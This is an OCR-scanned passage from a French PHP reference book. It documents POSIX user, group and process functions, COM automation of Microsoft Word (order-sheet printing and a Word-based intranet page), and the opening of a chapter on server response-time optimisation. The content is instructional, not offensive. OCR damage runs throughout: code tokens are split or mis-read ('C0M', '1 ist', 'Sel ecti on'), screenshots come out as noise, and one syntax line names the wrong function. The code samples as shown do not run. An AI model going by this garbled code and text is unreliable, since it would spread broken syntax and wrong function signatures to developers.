Syntaxe boolean posix_seteuid(int $i denti f i antUti 1 isateur) 

$identifiant 

Uti 1 i sateur Identifiant de l'utilisateur auquel le processus courant doit etre affecte. 

retour TRUE en cas de succes, FALSE sinon. 



posix_setuid() 



Permet de definir l'identifiant de l'utilisateur reel du processus courant. II faut avoir les 
privileges adequats pour ce type d'operation (il faut generalement etre connecte en tant que 

root). 

Syntaxe boolean posix_setuid(int $identi fiantUti 1 isateur) 

$identifiant 

Uti 1 i sateur Identifiant de l'utilisateur auquel le processus courant doit etre affecte. 

retour TRUE en cas de succes, FALSE sinon. 
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Nom de groupe et GID 



Pour recuperer des informations sur un groupe, le developpeur utilisera l'instruction 

posix_getgrgid( ) . 



posix_getgrgid() 

Retourne les informations sur le groupe possedant le GID donne en parametre. 

Syntaxe array posix_getpwuid(int $gid) 

$ g i d GID du groupe . 

retour Tableau indexe et associatif. Les champs indexes contiennent les noms des 

differents utilisateurs appartenant au groupe, alors que les cles sont : 

"name", nom du groupe. 

"gid", identifiant du groupe. 

"members", nombre d'utilisateurs appartenant au groupe. 

<?php 

$infogroupe = posix_getgrgid(500) ; 
while (list($key, $val) = each($infogroupe)) { 
echo "$key = $val<br />"; 

} 
?> 

name = shared 
gid = 500 

= public 

1 = admin 

2 = www 

3 = laurent 

4 = kangouroo 

5 = jukebox 
members = 6 

II est, bien entendu, possible de faire la meme chose en ne connaissant, cette fois, que le nom 
du groupe. Ainsi, la fonction posix_getgrnam( ) retourne un tableau contenant les memes 
informations sur le groupe que precedemment. 



posix_getgrnam() 

Retourne les informations sur un groupe en fonction de son nom. 

Syntaxe array posix_getgrnam(string $nomGroupe) 

$nomGroupe Nom du groupe. 
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Chapitre 1 7 Les processus et les identifiants 



retour Tableau indexe et associatif . Les champs indexes contiennent les noms des 

differents utilisateurs appartenant au groupe, alors que les cles sont : 

"name", nom du groupe. 

"gid", identifiant du groupe. 

"members", nombre d'utilisateurs appartenant au groupe. 

<?php 

echo "Information sur 1 'util isateur Laurent<br />"; 
$i nfoUti 1 isateur = posix_getpwnam("laurent") ; 
while (list($key, $val) = each($infoUtilisateur)) { 
echo "$key = $val<br />"; 

} 

?> 

<br /> 
<?php 

echo "Information sur le groupe Laurent<br />"; 
$infogroupe = posix_getgrnam("laurent") ; 
while (1 ist($key, $val) = each($infogroupe)) { 
echo "$key = $val<br />"; 

} 
?> 

Information sur 1 'utilisateur Laurent 

name = laurent 

passwd = x 

uid = 5001 

gid = 5001 

gecos = Laurent GUEDON 

dir = /home/e-smith/files/users/laurent 

shell = /bin/sshell 

Information sur le groupe Laurent 
name = laurent 
gid = 5001 
members = 



posix_getegid() 

Retourne le numero du groupe effectif du processus courant. 

Syntaxe int posix_getegid(void) 

retour Numero de groupe. II est possible d'obtenir plus de details sur ce groupe a 

l'aide deposix_getgrgid( ) . 
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posix_getgid() 

Retourne le numero du groupe reel du processus courant. 



Syntaxe int posix_getgid(void) 

retour Numero de groupe. II est possible d'obtenir plus de details sur ce groupe a 

l'aide deposix_getgrgid( ) . 
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posix_getpgrp() 

Retourne l'identifiant du groupe de processus courant. 

Syntaxe int posix_getpgrp(void) 

retour Un identifiant de groupe de processus. 



posix_setegid() 



Permet de definir l'identifiant du groupe effectif du processus courant. II faut avoir les 
privileges adequats pour ce type d'operation (il faut generalement etre connecte en tant que 

root). 

Syntaxe boolean posix_setegid(int $identifiantGroupe) 

$i denti f i antGroupe Identifiant du groupe auquel le processus courant doit etre affecte. 

retour TRUE en cas de succes, FALSE sinon. 



posix_setgid() 



Permet de definir l'identifiant du groupe reel du processus courant. II faut avoir les privileges 
adequats pour ce type d'operation (il faut generalement etre connecte en tant que root). 

Syntaxe boolean posix_setgid(int $identifiantGroupe) 

$i denti fi antGroupe Identifiant du groupe auquel le processus courant doit etre affecte. 

retour TRUE en cas de succes, FALSE sinon. 
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Chapitre 1 7 Les processus et les identifiants 
PID (identifiant de processus) 

posix_getpid() 

Retourne l'identifiant du processus courant. 

Syntaxe int posix_getpid(void) 

retour Un identifiant de processus. 

posix_getppid() 

Retourne l'identifiant du processus parent du processus courant. 

Syntaxe int posix_getppid(void) 

retour Un identifiant de processus. 

posix_setpgid() 

Permet de placer un processus dans un groupe de processus. 

Syntaxe boolean posix_setpgid(int $IdentifiantProcessus, 

$identifiantGroupeProcessus) 

$identifiant 

Processus Identifiant du processus a placer. 

$identifiant 

GroupeProcessus Identifiant du groupe dans lequel placer le processus. 

retour TRUE en cas de succes, FALSE sinon. 

Chemins 



posix_getcwd() 



Retourne le nom du repertoire courant. 

Syntaxe String posix_getcwd() 

retour Le chemin complet du repertoire courant. 
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posix_ctermid() 

Retourne le chemin complet du terminal. 

Syntaxe string posix_ctermid(void) 

retour Le chemin complet du terminal (ex. : /dev/tty). 

Ressources systeme 

Lorsqu'une machine est partagee entre plusieurs utilisateurs, il peut etre interessant de limiter les 
ressources par utilisateur, afin, par exemple, qu'un des utilisateurs ne consomme pas 90 % des 
ressources tandis que les 10 % restants sont a partager entre une vingtaine d'autres utilisateurs. 

La fonction posix_getrlimit ( ) va nous permettre de connaitre ces restrictions. 
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posix_getrlimit() 



Permet de connaitre les limites imposees de partage des ressources. 

Syntaxe array posix_getrl imit() 

retour Tableau associatif indiquant les differentes limites imposees. 



<? 


php 








?> 


print 


r(posix getr" 


imit()); 


Array 
( 








\ 


[soft 


core] 


=> 






[hard 


core] 


=> unl 


imited 




[soft data] 


=> unl 


imited 




[hard data] 


=> unl 


imited 




[soft 


stack] 


=> un 


limited 




[hard stack] 


=> un 


limited 



[soft totalmem] => unlimited 

[hard totalmem] => unlimited 

[soft rss] => unlimited 

[hard rss] => unlimited 

[soft maxproc] => 2040 

[hard maxproc] => 2040 

[soft memlock] => unlimited 

[hard memlock] => unlimited 

[soft cpu] => unlimited 

[hard cpu] => unlimited 

[soft filesize] => unlimited 

[hard filesize] => unlimited 

[soft openfiles] => 1024 

[hard openfiles] => 1024 
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Chapitre 1 7 Les processus et les identifiants 

posix_times() 

Recupere les differents temps du processus. 

Syntaxe array posix_times() 

retour Tableau associatif des differents temps : 

"ticks": nombre d'unites de temps ecoule depuis le dernier redemarrage 

de la machine. 

"utime": temps utilisateur du processus courant. 

"stime": temps systeme du processus courant. 

"cutime": temps utilisateur des processus enfants. 

"c stime": temps systeme des processus enfants. 

<?php 

print_r(posix_times()) ; 
?> 



Array 
( 



[ticks] => 144168 
[utime] => 4 
[stime] => 2 
[cutime] => 
[cstime] => 



Envoi d'un signal a un processus 

posix_kill() 

Envoie un signal a un processus dans le but de le terminer. 

Syntaxe boolean posi x_ki 11 (i nt $identifiantProcessus, int $signal) 

$identifiant 

Processus Identifiant du processus a terminer. 

$ s i g n a 1 Numero du signal a envoyer ( 9 pour tuer le processus de maniere brutale) . 

retour TRUE si le signal a pu etre envoye, FALSE sinon. 

Informations systeme 

posix_uname() 

Recupere des informations sur le systeme d'exploitation. 
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Syntaxe array posix_uname() 

retour Tableau associatif des caracteristiques du systeme d'exploitation. 

<?php 

print_r(posix_uname()) ; 
?> 



Array 

( 



[sysname] => Linux 

[nodename] => austral i a 

[release] => 2.2.19-7.0.8 

[version] => #1 Thu Jun 21 06:28:56 EDT 2001 

[machine] => i686 
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REMARQUE 



domainname 

II est possible de trouver en plus, sur certaines machines, la cle dommainname, qui 
correspond au nom de domaine du DNS. Ceci est une extension GNU qui ne fait pas 
partie de POSIX 1 ; c'est pourquoi nous ne retrouvons pas cette information ici. 
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avec COM 
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COM 



18.1. COM 

com permet d'interagir avec la plupart des applications Microsoft courantes telles que Word, 
Excel, Powerpoint, Access, Outlook ou encore MSGraph. 

Cette bibliotheque d'acces a la couche COM va nous permettre de faire realiser par le serveur 
web toutes les operations que nous pourrions faire manuellement en ouvrant ces memes 
applications. 

Installation 

La bibliotheque com n'est disponible que sous Windows. 

Que ce soit avec l'archive du PHP Group ou avec EasyPHP, vous n'aurez rien a faire de 
particulier pour en profiter, puisqu'elle fait partie du noyau PHP. 

Toutefois, afin d'utiliser les constantes de COM, il faudra decommenter la ligne com 
. autoregister_typeiib = true du fichieiphp.ini. De meme, pour des appels distants, vous 
devrez mettre com. allow dcom a la valeur true. 
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Utilisation 

La manipulation des objets COM commence par l'instanciation d'un objet PHP par un simple 

appel du genre new COM("nom application") ; . 



COM 



Instancie un objet COM. 

Syntaxe COM COM(string $appl i cation [, string $serveur [, int 

$encodage]]) 

$appli cation Designation de l'application. 

$serveur Nom ou adresse du serveur DCOM (par defaut localhost). 

$encodage Indique comment convertir les chaines. Au choix : 



retour 



CP_ACP. 
CP_MACCP. 

CP_OEMCP. 
CP_SYMBOL. 

CP_THREAD_ACP. 

CP_UTF7. 

CP_UTF8. 

Objet COM. 
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Chapitre 18 L'interoperabilite avec COM 

Voici une serie de designations d'applications possibles : 

Access.Application ; 
Excel.Application ; 
Excel. Worksheet ; 
Excel.Chart ; 
MSGraph.Chart ; 
Outlook.Application ; 

■ Powerpoint.Application ; 

■ Powerpoint.Presentation ; 
WordApplication ; 
Word. Document. 

II existe ensuite une serie de fonctions PHP permettant de lire ou modifier des attributs de ce 
composant, d'appeler des methodes, etc. Mais tout cela peut se faire en utilisant simplement la 
notation objet de PHP. 

Ainsi, pour modifier l'attribut visible d'un objet Word et pour appeler la methode close ( ) , 
il suffira d'ecrire : 

<?php 

$word = new C0M("word. application") 

or die("Impossible de creer un objet Word"); 
$word->Visible = 1; 
$word->Quit() ; 
?> 

La plus grande difficulty reside done dans le fait de connaitre les proprietes de ces objets. II est 
probable que les adeptes de ces solutions proprietaries qui pratiquent deja COM/DCOM s'y 
retrouveront sans mal. Pour les autres, sachez qu'il est facile de creer des scripts interessants a 
moindre frais. 

En fait, l'astuce consiste (e'est vrai pour Word, mais tres probablement aussi pour les autres 
applications) a lancer l'enregistrement d'une macro (menu Outils/Macro/Nouvelle macro), a 
taper ce que vous souhaitez faire faire au serveur, a stopper l'enregistrement de la macro et, 
enfin, a consulter le resultat obtenu. Cette derniere operation pouvant se realiser en allant dans 
le menu Outils/Macro/Macros..., en selectionnant la macro nouvellement creee, et en 
selectionnant l'option modifier qui fera apparaitre le code de la macro. 

Exemple 1 : impression d'une feuille de commande 

Notre premier exemple permet, a partir d'un formulaire HTML, de generer automatiquement 
un document Word et d'en imprimer le contenu. L' exemple pris ici est celui de l'impression 
d'une feuille de commande. II est alors possible d'imaginer, qu'a chaque nouvelle commande 
passee par un client, une feuille est automatiquement imprimee dans le bureau du magasinier, 
qui pourra alors se promener dans les rayons avec sa fiche. En Intranet, cela peut permettre a 
n'importe qui (dans un grand bureau) d'imprimer depuis son poste une etiquette au format 
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standard sur l'imprimante commune (dans ce cas, aucune installation specifique n'est 
necessaire sur le poste du client, hormis le navigateur qui est generalement present par defaut ; 
en cas de modification du standard, seul le script du serveur sera a modifier et sans aucune 
intervention sur les postes clients). 

La page d'appel est un simple formulaire dont void une capture d'ecran : 

I5ISI5 



Fichier Edition Affkhage Favoris Outils >J 
Q Precedents - © - g) g (/J, 

Adresse ^[ http://hcalho5t/BiblePHP5cript£/ch7v] Q OK 



Nouv^lle connaande 



Nom; ErnrnaTocrite 



IB Rue de Perse ■ 

Adresse: 2087B Gaiserbourg v 



5 bornbes d'huile 
Commande:|en spray 



J cl Termine 



*3 Intranet local 



Figure 18.1 : 

Formulaire de saisie 
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Cette page fait appel a une page, appelee impression.php, qui est chargee d'ouvrir un document 
Word, d'y ecrire un contenu, d'imprimer puis de fermer le document. 

Listing 18.1 : impression.php 

<?php 

$word = new C0M("word. application") 

or die("Impossible de creer un objet Word"); 
// Juste a titre de test pour voir ce qu'il se passe 
$word->Visible = 1; 

$word->Documents->Add() ; 

// Cree les tabulations 

// Une a 8 cm du bord gauche de la feuille avec alignement au centre 

// Une a 16 cm du bord gauche de la feuille avec alignement a droite 

$word->Selection->ParagraphFormat->TabStops->Add( 

$word->CentimetersToPoints(8) , 

wdAlignTabCenter, 

wdTabLeaderSpaces) ; 
$word->Selection->ParagraphFormat->TabStops->Add( 

$word->CentimetersToPoints(16) , 

wdAlignTabRight, 

wdTabLeaderSpaces) ; 

// Saisie du texte gauche 
$word->Selection->TypeText("Nom: ") ; 
$word->Selection->Font->Bold = wdToggle; 
$word->Sel ecti on->TypeText (stri pSl ashes ($_P0ST ["nom"] ) ) ; 
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// Passage au texte central par tabulation 
$word->Selection->TypeText("\t") ; 

// Saisie du texte central 

$word->Selection->Font->Name = "Times New Roman"; 
$word->Selection->Font->Size = 20; 
$word->Selection->Font->Bold = TRUE; 
$word->Selection->Font->Color = wdColorRed; 
$word->Selection->TypeText("COMMANDE"); 

// Passage au texte droit par tabulation 
$word->Selection->TypeText("\t") ; 

// Saisie du texte droit 
$word->Selection->Font->Size = 12; 
$word->Selection->Font->Bold = wdToggle; 
$word->Selection->Font->Color = wdColorBlack; 
$word->Selection->TypeText("Date:") ; 
$word->Selection->Font->Bold = wdToggle; 
$word->Sel ecti on->TypeText (strf t ime ( "%d/%m/%y" ) ) ; 
$word->Selection->Font->Bold = wdToggle; 

// Passage au paragraphe suivant 
$word->Selection->TypeParagraph() ; 

// Saisie du paragraphe suivant en centre et italique 
$word->Selection->ParagraphFormat->Al ignment = wdAl ignParagraphCenter; 
$word->Selection->Font->Ital ic = TRUE; 
$word->Selection->TypeText(stripSlashes($_POST["adresse"])) ; 

// Passage au paragraphe suivant 
$word->Selection->TypeParagraph() ; 

// Saisie du paragraphe suivant en aligne a gauche 
$word->Selection->ParagraphFormat->Al ignment = wdAl ignParagraphLeft; 
$word->Selection->Font->Ital ic = FALSE; 
$word->Sel ecti on->TypeText (stri pSl ashes ($_POST ["commande"] ) ) ; 

// Selection de 1 'ensemble du texte 
$word->Selection->WholeStory() ; 

// Et encadrement en precisant les bords Haut, Bas, Gauche, Droit 
$word->Sel ecti on->Borders [wdBorderTop] ->Li neStyl e = wdLi neStyl eDoubl e; 
$word->Sel ecti on->Borders [wdBorderTop] ->Li neWi dth = wdLi neWi dth050pt ; 
$word->Sel ecti on->Borders [wdBorderTop] ->Color = wdColorAutomatic; 
$word->Sel ecti on->Borders [wdBorderBottom] ->Li neStyl e = wdLi neStyl eDoubl e ; 
$word->Sel ecti on->Borders [wdBorderBottom] ->Li neWi dth = wdLi neWi dth050pt ; 
$word->Sel ecti on->Borders [wdBorderBottom] ->Col or = wdCol orAutomati c ; 
$word->Sel ecti on->Borders [wdBorderLef t] ->Li neStyl e =wdLi neStyl eDoubl e ; 
$word->Sel ecti on->Borders [wdBorderLef t] ->Li neWi dth = wdLi neWi dth050pt ; 
$word->Sel ecti on->Borders [wdBorderLef t] ->Col or = wdCol orAutomati c ; 
$word->Sel ecti on->Borders [wdBorderRi ght] ->Li neStyl e = wdLi neStyl eDoubl e ; 
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$word->Sel ecti on->Borders [wdBorderRi ght] ->Li neWi dth = wdLi neWi dth050pt ; 
$word->Sel ecti on->Borders [wdBorderRi ght] ->Col or = wdCol orAutomat i c ; 

$word->Documents[l]->SaveAs(" Test Etiquette. doc") ; 

$word->Appl ication->PrintOut() ; 

$word->Quit() ; 
?> 



REMARQUE 



COM->Visible et WinNT/2000/XP 

Si COM->Visible est mis a vrai, alors le document Word ne sera visible que par le 
proprietaire du document. Si le serveur web que vous avez installe est un service, alors 
le proprietaire est system, (c'est-a-dire pas vous...) et vous ne verrez done pas le 
document Word. Pour le voir, ilfaut lancer le serveur web "a la main". Pour Apache, 
il vous suffit d'arreter le serveur et de lancer C:\progra~l\apache 
~l\apache\apache.exe. 
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Comment sommes-nous parvenus a ce resultat ? Simplement en generant le document, tout en 
enregistrant une macro. 



^j TestEliquetle.doc - Microsoft Word 



File Edit View Insert Format lools Table Window Help 

[■] g y m - ** ^ Normal 4- Italic, T Time? New Roman - 12 " . B 1 1 I U W- IS] 



Type a question for help ■* 

;e iw w b - 4 - 



Eft 



1 



Nom:Emma Tactile 



5 bombes d'huile en spray 



COMMANDE 

1 8 Pile de Persef 
20878 Gaiserbourg 



Date:28AJ'«2 



' 



S 80S 
Page 1 



1/1 At 1.3" Ln 2 Col 16 VR English (U.S Q% 



J jd 



_J 



Figure 18.2 : L 'etiquette telle qu'elle sera imprimee par Word 

Ceci a eu pour effet de generer le code suivant pour la macro : 

Sub Macro() 

Sel ecti on . Paragraph Format . TabStops . CI earAl 1 

ActiveDocument.DefaultTabStop = CentimetersToPoints(1.25) 

Sel ecti on. Paragraph Format. TabStops. Add Position:=CentimetersToPoints(8) , 

Al ignment:=wdAl ignTabCenter, Leader:=wdTabLeaderSpaces 
Sel ecti on . Paragraph Format . TabStops . CI earAl 1 
ActiveDocument.DefaultTabStop = CentimetersToPoints(1.25) 
Sel ecti on. Paragraph Format. TabStops. Add Position:=CentimetersToPoints(8) , 
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Al ignment:=wdAl ignTabCenter, Leader :=wdTabLeaderSpaces 
Select ion. Paragraph Format. TabStops. Add Position:=CentimetersToPoints(16) , 

Al ignment:=wdAl ignTabRight, Leader:=wdTabLeaderSpaces 
Selection. TypeText Text:="Nom: " 
Selection. Font. Bold = wdToggle 
Selection. TypeText Text:="Le Nom" & vbTab 
With Selection. Font 

.Name = "Times New Roman" 

.Size = 12 

.Bold = True 

.Italic = False 

.Underline = wdUnderlineNone 

.Underl ineColor = wdColorAutomatic 

.StrikeThrough = False 

.DoubleStrikeThrough = False 

.Outline = False 

.Emboss = False 

.Shadow = False 

.Hidden = False 

.Small Caps = False 

.AllCaps = False 

.Color = wdColorRed 

.Engrave = False 

.Superscript = False 

.Subscript = False 

.Spacing = 

.Scaling = 100 

.Position = 

.Kerning = 

.Animation = wdAnimationNone 
End With 

Selection. TypeText Text:="C0MMANDE" & vbTab 
With Selection. Font 

.Name = "Times New Roman" 

.Size = 12 

.Bold = False 

.Italic = False 

.Underline = wdUnderlineNone 

.Underl ineColor = wdColorAutomatic 

.StrikeThrough = False 

.DoubleStrikeThrough = False 

.Outline = False 

.Emboss = False 

.Shadow = False 

.Hidden = False 

.Small Caps = False 

.AllCaps = False 

.Color = wdColorAutomatic 

.Engrave = False 

.Superscript = False 

.Subscript = False 

.Spacing = 
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.Scaling = 100 
.Position = 
.Kerning = 

.Animation = wdAnimationNone 
End With 

Selection.TypeText Text:="Date: " 
Selection. Font. Bold = wdToggle 
Selection.TypeText Text: ="06/07/02" 
Selection.TypeParagraph 

Selecti on. ParagraphFormat. Alignment = wdAl ignParagraphCenter 
Selection. Font. Bold = wdToggle 
Selection. Font. Ital ic = wdToggle 
Sel ecti on . TypeText Text : = " Adresse" 
Sel ecti on . TypeParagraph 
Sel ecti on. Font. Ital ic = wdToggle 
Selection.TypeText Text:="Texte de la commande" 
Selection. ParagraphFormat. Alignment = wdAl ignParagraphLeft 
Sel ecti on . Whol eStory 
With Selection. ParagraphFormat 
With . Borders (wdBorderLeft) 

.LineStyle = wdLineStyleDouble 
.LineWidth = wdLineWidth050pt 
.Color = wdColorAutomatic 
End With 
With . Borders (wdBorderRight) 

.LineStyle = wdLineStyleDouble 
.LineWidth = wdLineWidth050pt 
.Color = wdColorAutomatic 
End With 
With . Borders (wdBorderTop) 

.LineStyle = wdLineStyleDouble 
.LineWidth = wdLineWidth050pt 
.Color = wdColorAutomatic 
End With 
With . Borders (wdBorderBottom) 

.LineStyle = wdLineStyleDouble 
.LineWidth = wdLineWidth050pt 
.Color = wdColorAutomatic 
End With 

.Borders(wdBorderHorizontal) .LineStyle = wdLineStyleNone 
With .Borders 

.DistanceFromTop = 1 
.DistanceFromLeft = 4 
.DistanceFromBottom = 1 
.DistanceFromRight = 4 
.Shadow = False 
End With 
End With 
With Options 

.Defaul tBorderLineStyle = wdLineStyleDouble 
.DefaultBorderLineWidth = wdLineWidth050pt 
.Defaul tBorderCol or = wdColorAutomatic 
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End With 
End Sub 

Une analyse rapide permet de comprendre qu'un objet Word possede un attribut selection, 
qui possede des attributs et methodes permettant de positionner une tabulation par appel a 

Selection->ParagraphFormat->TabStops->Add( ) , etc. 

II suffit, pour ainsi dire, de remplacer les points ' . ' par des Heches '->' pour passer du code de 
la macro a celui du script PHP. Puis de convertir les passages de parametres "facon macro" en 
passage de parametres PHP. 

II est facile d'identifier les constantes Word (elles commencent par wd) puis de deviner leur role. 

Bref, avec un peu d'astuce, cela nous a permis d'obtenir le resultat escompte. 

Exemple 2 : un Intranet facile ! 

L'idee de ce deuxieme script est de realiser un Intranet pour lequel on suppose que les 
personnes ayant du contenu a y inserer ne connaissent pas l'HTML, et se restreindront a utiliser 
Word et a enregistrer leurs documents au format Word. 

Le script que nous allons creer permettra d'inserer un document Word au sein de deux autres 
definis comme l'en-tete et le pied de page du document. 

Listing 18.2 : intranet.php 

<?php 

define ("WDFORMATHTML", 8); 

$word = new COM("word. application") or die("Unable to instanciate Word"); 
$word->Documents->Add() ; 

// Charge le document d'entete 
$word->Selection->InsertFile("C: Wentete.doc") ; 
$word->Selection->InsertFile("C: Wsecretaire.doc") ; 
$word->Selection->InsertFile("C: Wpieddepage.doc") ; 



$word->ActiveDocument->SaveAs($_SERVER["DOCUMENT_ROOT"] . 

"\\TestIntranet.html", WDFORMATHTML); 
$word->Quit() ; 
?> 

Ce script ne fait qu'accoler les trois documents et enregistre le resultat en tant que fichier 
HTML a la racine du site web. 
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Voici le document Word d'en-tete 



^j entete.doc - Microsoft Word 



File Edit View Insert Format J_ools Table Window Help 

d^bs §Ei7 m<? - ^aniii^ S0 100% t 51 - 



• 3 ■ i ■ 10 ■ i ■ 11 ■ i ■ lM 




Mon f abuleux 
Sitewebfl 



Contact : emmaglocrile.com H 
1 
1 

U 
U 

u 

1 T 1 



: 



Page 1 Sec 1 



1/1 At 2,4 cm Ln 1 Col 1 R French (Fra ^Q 



A 



-I 



Figure 18.3 : entete.doc 

suivi du message de la secretaire 



■21 secretaire.doc - Microsoft Word 



File Edit View Insert Format lools Table Window Help Type a question for help » X 

□ g£ y <s s a i^ to n ^ | " 'Lfflntgn^siH ioo% - (5 . 



. ,.§. 



■ 9 ■ i -10 ■ i ■ 11 ■ i ■ 12 ■ i ■ 13 ■ i ■ 14- i -15 ■ 



| -+ Bonjour-et-bienvenue-sur-notre-site-Web,-pas-besom-de-savo^ 

diffuser-soit-meme-son-site -Web. -Bonne -route- s ur-notre- site -Web -et-zou-j e-met-meme- du- gras- 
parce-que-c'est-facile-sous-Word.lf 



Et-hop-Q 


Un-tableauCi 


Sans-s'embeterO 


avec-des-balises.i3 



■»H».iJ I jJ 

Page 1 Sec 1 1/1 At 2,4 cm Ln 1 Col 1 French (Fra Qg. 



-I 



Figure 18.4 : secretaire.doc 
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puis du pied de page : 



l ii pieddepage.doc - Microsoft Word 



File Edit View Insert Format Tools Table Window Help Type a question for help -r x 

Qsafiiay ) fte<? ' -ftEansn^KiE l00% - si . 



03 
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. 2 ■ i ■ 3 ■ i ■ 4 ■ i ■ 5 ■ i ■ 6 ■ i ■ 7 ■ i ■ 8 ■ i ■ 9 ■ i ■ 10 ■ i ■ 11 ■ i ■ 12 ■ i ■ 13 ■ i ■ 14 ■ i ■ 15 ■ 



! 



Iproduced-foy-PHP-BibleU 



- 



3 9§S i J 

pieddepage.doc: 18 characters (an approximate value), 



J _d 



Figure 18.5 : pieddepage.doc 

La page HTML produite par Word 



3 Mon Fabuleux Site web - Microsoft Internet Explorer 



nmm 



Fkhier Edition Affichage Favoris Outils ? 

B [»] 'i4 ^.P Rechercher Favoris ^Jf 1 Media ^ ^ - ^ ? |jv] - 



Adresse ^J C:\Docurnents and 5etbing5\bheu!:5\Mes documents'!.! esb Intranet, html 



J 01! 




Mon Fabuleux Site web 



Contact: emma@locrite.oom 



Bonjour et bienvenue surnotre site Web, pas besoin de savoir faire de l'HTMLpour diffuser soit 
nierne son site Web. Bonne route sur notre site Web et zou je met rnerne (In in as parce que c'est facile sous 
Word. 



Et hop 



Sans s'ernbeter 



Un tableau 



avec des balises 



Produced by PHP Bible 



a 



j Poste de travail 



Figure 18.6: Testlntranet.html 
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Comme vous pouvez le constater, 1'en-tete est different. Cela est du a la facon de faire de 
Microsoft Word pour transformer un document Word en document HTML. 



JK User de cette methode peut provoquer de graves defaillances de serveur 

^^^ Evitez tout de meme d'user des objets COM comme les applications bureautiques, 
ATTENTION car ih sont tr ^ s gourmands en ressources (chaque ouverture de I'application necessite 
d'allouer beaucoup de memoire et sollicite grandement le disque dur). Plus vous 
ouvrirez d' objets COM, plus la chute du serveur sera proche. 
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L' optimisation des 
temps de reponse 
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19.3 En l'absence de solution d' optimisation 1346 

19.4 Avec Zend Optimizer 1349 
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19.7 Avec Zend Accelerator (Zend Performance Suite) 1366 

19-8 Conclusion sur les solutions "bas niveau" (modules PHP) 1376 
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19.10 Conclusion 1378 



Introduction 



19.1. Introduction 



Des lors qu'un site devient populaire, et done que le nombre quotidien des visiteurs est eleve, 
il convient de reduire au minimum le temps de reponse du serveur. Cela n'a pas pour seul 
benefice de reduire le temps d'attente de l'utilisateur, mais egalement de reduire la probability 
qu'une ou plusieurs requetes arrivent alors que le serveur est deja en train d'en traiter d'autres. 
Le nombre de requetes que doit traiter simultanement un serveur est appele "la charge". Plus le 
serveur sera "charge", moins il aura de ressources disponibles, et plus il mettra de temps a 
repondre a une requete. . . jusqu'a ne plus pouvoir prendre en compte les nouvelles requetes et 
etre contraint de les refuser. 

Ce temps de reponse depend evidemment d'un grand nombre de parametres : 

Le materiel (la quantite de memoire, la vitesse des disques durs, etc.) ; 

Le systeme d'exploitation (sa capacite a realiser plusieurs traitements en parallele, sa 
vitesse d'execution) ; 

Le serveur web (et sa capacite d'optimiser, done de reduire le nombre d'operations a 
realiser). 

Nous ne nous interesserons ici qu'a l'aspect PHP (composante du serveur web). 
L'execution d'un script PHP se deroule en trois etapes principales : 

1 . Ouverture du fichier et analyse syntaxique du script (parsing) qui consiste a detecter les 
blocs d'instructions, les declarations de fonctions, etc. 

2. La compilation du code. Autrement dit, la transformation des elements (ecrits dans un 
langage comprehensible par l'homme) detectes dans l'etape 1 en elements 
comprehensibles par la machine. 

3. L'execution du code (generalement pour generer un document HTML). 

Nous allons vite nous rendre compte qu'il est possible d'intervenir a ces trois niveaux afin de 
reduire le temps de reponse du serveur. 

La premiere des choses necessaires pour que le temps d'execution soit minimal est tout 
simplement que la compilation offre un code optimal (inutile de mettre deux instructions la ou 
une seule suffit). 

La seconde chose est d'eviter de refaire pour un client une operation qui vient d'etre realisee 
sur le meme script pour un des clients precedents. Pour cela, il faut stocker le resultat des 
operations 1, 2, et eventuellement 3, dans une memoire appelee cache. 

Ce dernier point doit etre etudie avec attention. II existe en effet deux cas de figure : 

C'est le resultat de la compilation (etapes 1 + 2) qui est mis en cache. Dans ce cas, le code 
sera re-execute a chaque appel. Le document reste done un document genere 
dynamiquement. 

C'est le resultat de l'execution (etapes 1 + 2 + 3) qui est mis en cache (autrement dit le 
code HTML). Dans ce cas, le document n'est pas genere dynamiquement a chaque appel 
(c'est le code HTML qui est rappele). Si, par exemple, ce document doit afficher l'heure, 
c'est l'heure a la date de mise en cache du document qui sera restituee lors des prochains 
appels. 
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La difference entre ces deux solutions est done tres importante. Alors que la premiere est 
applicable a n'importe quel type de script PHP, la seconde sera a reserver pour les scripts 
retournant un resultat evoluant peu dans le temps, ou, en tout cas, dont la mise a jour n'a pas 
besoin d'etre immediate (ceci n'est done pas applicable a un forum et encore moins a un 
systeme de cotations en bourse). 

Dans l'immediat, nous ne nous interesserons qu'aux solutions (que nous appellerons solutions 
"bas niveau") qui ne sont pas liees a une mise en cache du document genere. 

Comme toujours avec les problemes d'optimisation, il faut se mefier de la theorie. Les resultats 
peuvent etre radicalement differents d'un cas de figure a l'autre. Afin d'avoir tout de meme une 
idee de l'impact de ces differentes methodes d'optimisation, nous avons realise des tests sur un 
mini-site local cree pour l'occasion. Ce site est assez fidele a ce que peut contenir un veritable 
site web. II contient done des pages quasiment statiques (comme peuvent l'etre les pages 
d'accueil) ainsi que des pages totalement dynamiques (comme peuvent l'etre les pages de 
moteurs de recherche ou de forums). Pour mettre en avant certains cas de figures, nous avons 
tout de meme rajoute des pages considerees comme non representatives d'un site web (comme 
des pages faisant appel a du calcul scientifique). 



19.2. Environnement de test des solutions "bas 
niveau" (modules PHP) 



Configuration materielle 



Les tests ont ete realises a partir d'un poste client base sur un Intel Pentium II (Deschutes) 
400 MHz equipe de 256 Mo de RAM et du systeme d'exploitation Linux (Mandrake 8.1) relie 
au serveur par une liaison BNC. 

Le serveur, quant a lui, est equipe de la maniere suivante : 

■ Processeur : AMD K6-II 350 MHz ; 
Memoire : 192 Mo (+136 Mo virtuelle) ; 

Disque dur : IBM-DTTA-351010 10 Go (IDE) (11 Mo/s) ; 

■ Systemes d'exploitation : Linux (Mandrake 9.1) ; 

■ Serveur : Apache 1.3.28 avec PHP 4.3.0 ; 

■ Base de donnees : MySQL 4. 



^-j) Pourquoi PHP 4.3.0 ? 

^ C'est la version 4. 3. et non une version superieure qui a ete retenue parce qu 'a la date 

oil les tests ont ete realises, il s'agissait de la seule version officiellement compatible 
avec I'ensemble des solutions d'optimisation presentees ici. Ceci dit, des tests 
complementaires ont montre qu'il y a tres peu de differences entre les resultats 
obtenus avec PHP 4. 3. et PHP 4.3.2 meme si celle-ci est en faveur de PHP 4. 3. 2. 
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REMARQUE 



EtPHP5? 

A cejour quasiment aucune des solutions d 'optimisation ne supporte officiellement 
(du moins) PHP 5. 



Pages testees 



Les tests ont porte sur trois pages principales (dont les sources sont disponibles sur le 
CD-ROM) : 

■ Une quasi-statique ; 

■ Une dynamique ; 

■ Une mathematique. 

La page quasi-statique 

La page quasi-statique ne possede aucun element variable. Tous les elements de la page sont 
figes : aucun n'est dependant de l'heure, de l'utilisateur ou du contenu d'une base de donnees. 
Ce peut-etre, par exemple, une page d'accueil. 

